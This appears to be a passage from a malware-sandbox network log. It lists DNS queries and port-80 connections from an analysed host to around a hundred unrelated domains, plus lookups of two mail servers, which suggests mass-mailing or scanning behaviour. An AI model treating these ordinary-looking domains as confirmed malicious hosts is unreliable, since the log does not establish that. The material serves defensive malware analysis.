Jul 27, 2023 21:53:20.763204098 CEST	49995	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:20.763991117 CEST	80	49990	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:20.764056921 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.778793097 CEST	49996	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.786346912 CEST	80	49991	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:20.786439896 CEST	49991	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:20.794867992 CEST	80	49996	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.795244932 CEST	49996	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.910918951 CEST	49991	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:20.930279970 CEST	49996	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.946413040 CEST	80	49996	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.988377094 CEST	80	49992	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:20.988524914 CEST	49992	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:21.011157036 CEST	49992	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:21.012734890 CEST	80	49991	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:21.012908936 CEST	80	49991	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:21.012995958 CEST	49991	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:21.026051044 CEST	49991	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:21.057017088 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.058140993 CEST	49997	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:21.058195114 CEST	49998	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:21.058774948 CEST	49999	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.076625109 CEST	80	49720	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:21.076864958 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.078185081 CEST	80	49999	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:21.078295946 CEST	49999	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.078670025 CEST	49999	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.081731081 CEST	50000	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:53:21.098108053 CEST	80	49999	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:21.098149061 CEST	80	49999	188.165.133.163	192.168.2.4
Jul 27, 2023 21:53:21.098216057 CEST	49999	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:53:21.123395920 CEST	49999	80	192.168.2.4	188.165.133.163

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2023 21:52:20.068687916 CEST	192.168.2.4	8.8.8.8	0xa07a	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.069788933 CEST	192.168.2.4	8.8.8.8	0x919a	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.072380066 CEST	192.168.2.4	8.8.8.8	0x9fe4	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.073999882 CEST	192.168.2.4	8.8.8.8	0x4034	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.075881004 CEST	192.168.2.4	8.8.8.8	0xf64d	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.077817917 CEST	192.168.2.4	8.8.8.8	0xe878	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.079855919 CEST	192.168.2.4	8.8.8.8	0x498d	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.081233978 CEST	192.168.2.4	8.8.8.8	0xd729	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.082401037 CEST	192.168.2.4	8.8.8.8	0x7da7	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.083134890 CEST	192.168.2.4	8.8.8.8	0xe5ec	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.480726957 CEST	192.168.2.4	8.8.8.8	0xa58b	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.481204033 CEST	192.168.2.4	8.8.8.8	0xb1ef	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.501000881 CEST	192.168.2.4	8.8.8.8	0xfb5d	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.778194904 CEST	192.168.2.4	8.8.8.8	0x300f	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.233433008 CEST	192.168.2.4	8.8.8.8	0x28cd	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.238261938 CEST	192.168.2.4	8.8.8.8	0xe6ff	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.243911982 CEST	192.168.2.4	8.8.8.8	0xdd4d	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.243980885 CEST	192.168.2.4	8.8.8.8	0xb9fd	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.319538116 CEST	192.168.2.4	8.8.8.8	0x3be4	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.328416109 CEST	192.168.2.4	8.8.8.8	0x4f45	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.339773893 CEST	192.168.2.4	8.8.8.8	0x5697	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.350292921 CEST	192.168.2.4	8.8.8.8	0x8dd5	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.357852936 CEST	192.168.2.4	8.8.8.8	0x330b	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.675595045 CEST	192.168.2.4	8.8.8.8	0xde79	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.676506042 CEST	192.168.2.4	8.8.8.8	0xa687	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.700064898 CEST	192.168.2.4	8.8.8.8	0x4b52	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.065412998 CEST	192.168.2.4	8.8.8.8	0x741b	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.141689062 CEST	192.168.2.4	8.8.8.8	0x6a62	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.141872883 CEST	192.168.2.4	8.8.8.8	0x3262	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.146229029 CEST	192.168.2.4	8.8.8.8	0x951c	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.148329973 CEST	192.168.2.4	8.8.8.8	0x7f5e	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.239891052 CEST	192.168.2.4	8.8.8.8	0x27e5	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.322391987 CEST	192.168.2.4	8.8.8.8	0x7e03	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.471838951 CEST	192.168.2.4	8.8.8.8	0xb583	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.473020077 CEST	192.168.2.4	8.8.8.8	0x3071	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.804578066 CEST	192.168.2.4	8.8.8.8	0xb3aa	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.805121899 CEST	192.168.2.4	8.8.8.8	0x26f4	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.820384979 CEST	192.168.2.4	8.8.8.8	0x7fde	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.825376034 CEST	192.168.2.4	8.8.8.8	0x9ba3	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.908324957 CEST	192.168.2.4	8.8.8.8	0x4873	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:23.229348898 CEST	192.168.2.4	8.8.8.8	0x6f26	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:23.284394979 CEST	192.168.2.4	8.8.8.8	0xfb5d	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.119350910 CEST	192.168.2.4	8.8.8.8	0xbaf4	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.123142004 CEST	192.168.2.4	8.8.8.8	0xfbd6	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.137567997 CEST	192.168.2.4	8.8.8.8	0x63f6	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.141213894 CEST	192.168.2.4	8.8.8.8	0x367e	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.147675991 CEST	192.168.2.4	8.8.8.8	0x711d	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.151027918 CEST	192.168.2.4	8.8.8.8	0xcf0d	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.152098894 CEST	192.168.2.4	8.8.8.8	0x6190	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.267296076 CEST	192.168.2.4	8.8.8.8	0x6f26	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.332703114 CEST	192.168.2.4	8.8.8.8	0x6a42	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.666666985 CEST	192.168.2.4	8.8.8.8	0xa6ba	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.717859030 CEST	192.168.2.4	8.8.8.8	0xdc6e	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.829283953 CEST	192.168.2.4	8.8.8.8	0xca00	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.830434084 CEST	192.168.2.4	8.8.8.8	0x7ee4	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.845040083 CEST	192.168.2.4	8.8.8.8	0x2e16	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.849180937 CEST	192.168.2.4	8.8.8.8	0x8ae7	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.091578960 CEST	192.168.2.4	8.8.8.8	0xab38	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.124233007 CEST	192.168.2.4	8.8.8.8	0xd4d8	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.371711016 CEST	192.168.2.4	8.8.8.8	0xa3b5	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.396018982 CEST	192.168.2.4	8.8.8.8	0x92a1	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.415769100 CEST	192.168.2.4	8.8.8.8	0xf0d	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.929711103 CEST	192.168.2.4	8.8.8.8	0x551	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.929805040 CEST	192.168.2.4	8.8.8.8	0x155a	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.933033943 CEST	192.168.2.4	8.8.8.8	0x2f96	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.937129021 CEST	192.168.2.4	8.8.8.8	0xbc36	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.206011057 CEST	192.168.2.4	8.8.8.8	0xcf07	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.223707914 CEST	192.168.2.4	8.8.8.8	0xa011	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.544547081 CEST	192.168.2.4	8.8.8.8	0x8024	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.583986998 CEST	192.168.2.4	8.8.8.8	0x3f98	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.585817099 CEST	192.168.2.4	8.8.8.8	0x4df4	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:27.489779949 CEST	192.168.2.4	8.8.8.8	0xd90f	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:27.506459951 CEST	192.168.2.4	8.8.8.8	0x78e	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:28.207968950 CEST	192.168.2.4	8.8.8.8	0x2df2	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:29.488599062 CEST	192.168.2.4	8.8.8.8	0xb1f6	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:30.202529907 CEST	192.168.2.4	8.8.8.8	0x4023	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:42.189198971 CEST	192.168.2.4	8.8.8.8	0x502e	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:43.321417093 CEST	192.168.2.4	8.8.8.8	0x25cc	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.236357927 CEST	192.168.2.4	8.8.8.8	0x5366	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.810918093 CEST	192.168.2.4	8.8.8.8	0xb425	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:45.257579088 CEST	192.168.2.4	8.8.8.8	0x7a7f	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:45.873811007 CEST	192.168.2.4	8.8.8.8	0x6608	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.390167952 CEST	192.168.2.4	8.8.8.8	0x83df	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.413544893 CEST	192.168.2.4	8.8.8.8	0x34c	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.936536074 CEST	192.168.2.4	8.8.8.8	0x1af2	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.985151052 CEST	192.168.2.4	8.8.8.8	0x184e	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.315978050 CEST	192.168.2.4	8.8.8.8	0xbf53	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.436559916 CEST	192.168.2.4	8.8.8.8	0x9532	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.488018036 CEST	192.168.2.4	8.8.8.8	0x4b28	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:48.035171032 CEST	192.168.2.4	8.8.8.8	0xf69e	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:48.264599085 CEST	192.168.2.4	8.8.8.8	0xe5e7	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:48.305008888 CEST	192.168.2.4	8.8.8.8	0x4977	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:49.374274015 CEST	192.168.2.4	8.8.8.8	0xc27d	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:49.805094004 CEST	192.168.2.4	8.8.8.8	0xe4e4	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:50.123878002 CEST	192.168.2.4	8.8.8.8	0xea2	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:50.338388920 CEST	192.168.2.4	8.8.8.8	0xa9d7	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.888443947 CEST	192.168.2.4	8.8.8.8	0xec3d	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.895219088 CEST	192.168.2.4	8.8.8.8	0x9427	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.897111893 CEST	192.168.2.4	8.8.8.8	0x422c	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.908427000 CEST	192.168.2.4	8.8.8.8	0x8ff5	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.910172939 CEST	192.168.2.4	8.8.8.8	0x6fa1	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.914963007 CEST	192.168.2.4	8.8.8.8	0xf632	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.923823118 CEST	192.168.2.4	8.8.8.8	0x7f89	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.928231955 CEST	192.168.2.4	8.8.8.8	0x2608	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.951098919 CEST	192.168.2.4	8.8.8.8	0x6309	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.951231003 CEST	192.168.2.4	8.8.8.8	0x94be	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.262190104 CEST	192.168.2.4	8.8.8.8	0x7c4e	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.287314892 CEST	192.168.2.4	8.8.8.8	0x9d52	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.310956955 CEST	192.168.2.4	8.8.8.8	0x4a33	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.338179111 CEST	192.168.2.4	8.8.8.8	0xf2fb	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.749875069 CEST	192.168.2.4	8.8.8.8	0x7766	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.783380985 CEST	192.168.2.4	8.8.8.8	0x8ae	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.786021948 CEST	192.168.2.4	8.8.8.8	0xaf4b	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.788454056 CEST	192.168.2.4	8.8.8.8	0xc673	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.880501986 CEST	192.168.2.4	8.8.8.8	0xaff6	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.882925987 CEST	192.168.2.4	8.8.8.8	0x2872	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.986550093 CEST	192.168.2.4	8.8.8.8	0xf549	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.135770082 CEST	192.168.2.4	8.8.8.8	0x1e13	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.139625072 CEST	192.168.2.4	8.8.8.8	0x3445	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.237447023 CEST	192.168.2.4	8.8.8.8	0xbecc	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.237915039 CEST	192.168.2.4	8.8.8.8	0xd0db	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.381445885 CEST	192.168.2.4	8.8.8.8	0xfe8d	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.572143078 CEST	192.168.2.4	8.8.8.8	0x8a0b	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.574798107 CEST	192.168.2.4	8.8.8.8	0xd239	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.606120110 CEST	192.168.2.4	8.8.8.8	0xc846	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.633200884 CEST	192.168.2.4	8.8.8.8	0x1a1a	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.668992996 CEST	192.168.2.4	8.8.8.8	0x675e	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.003439903 CEST	192.168.2.4	8.8.8.8	0x8d8f	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.052529097 CEST	192.168.2.4	8.8.8.8	0xf9fb	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.056004047 CEST	192.168.2.4	8.8.8.8	0x70c3	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.062474012 CEST	192.168.2.4	8.8.8.8	0x4b6f	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.070899963 CEST	192.168.2.4	8.8.8.8	0xa045	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.455923080 CEST	192.168.2.4	8.8.8.8	0xfdd7	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.488434076 CEST	192.168.2.4	8.8.8.8	0xa4a	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.488821983 CEST	192.168.2.4	8.8.8.8	0x2e43	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.075200081 CEST	192.168.2.4	8.8.8.8	0x6cf	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.075200081 CEST	192.168.2.4	8.8.8.8	0x54a	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.075284958 CEST	192.168.2.4	8.8.8.8	0xbb2c	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.075366020 CEST	192.168.2.4	8.8.8.8	0xffde	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.111624002 CEST	192.168.2.4	8.8.8.8	0xea16	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.139447927 CEST	192.168.2.4	8.8.8.8	0x5722	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.458471060 CEST	192.168.2.4	8.8.8.8	0xd930	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.459666014 CEST	192.168.2.4	8.8.8.8	0x480f	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.742712021 CEST	192.168.2.4	8.8.8.8	0xc38	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.964589119 CEST	192.168.2.4	8.8.8.8	0x57dd	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.967984915 CEST	192.168.2.4	8.8.8.8	0x2ffa	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.968525887 CEST	192.168.2.4	8.8.8.8	0xc47d	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.033206940 CEST	192.168.2.4	8.8.8.8	0xded0	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.038147926 CEST	192.168.2.4	8.8.8.8	0x7aed	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.353077888 CEST	192.168.2.4	8.8.8.8	0xb50c	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.356822968 CEST	192.168.2.4	8.8.8.8	0x4fb8	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.675678015 CEST	192.168.2.4	8.8.8.8	0x9132	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.712881088 CEST	192.168.2.4	8.8.8.8	0x584b	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.356386900 CEST	192.168.2.4	8.8.8.8	0x4573	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.361887932 CEST	192.168.2.4	8.8.8.8	0x81d5	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.365819931 CEST	192.168.2.4	8.8.8.8	0xd904	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.411632061 CEST	192.168.2.4	8.8.8.8	0x8c5d	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.416754007 CEST	192.168.2.4	8.8.8.8	0x1f50	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.989959002 CEST	192.168.2.4	8.8.8.8	0x3fcf	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.998608112 CEST	192.168.2.4	8.8.8.8	0x232b	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.004560947 CEST	192.168.2.4	8.8.8.8	0x35a2	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.005582094 CEST	192.168.2.4	8.8.8.8	0x5da3	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.008027077 CEST	192.168.2.4	8.8.8.8	0x5249	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.012444019 CEST	192.168.2.4	8.8.8.8	0xe84a	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.018621922 CEST	192.168.2.4	8.8.8.8	0x4b04	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.022630930 CEST	192.168.2.4	8.8.8.8	0x933b	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
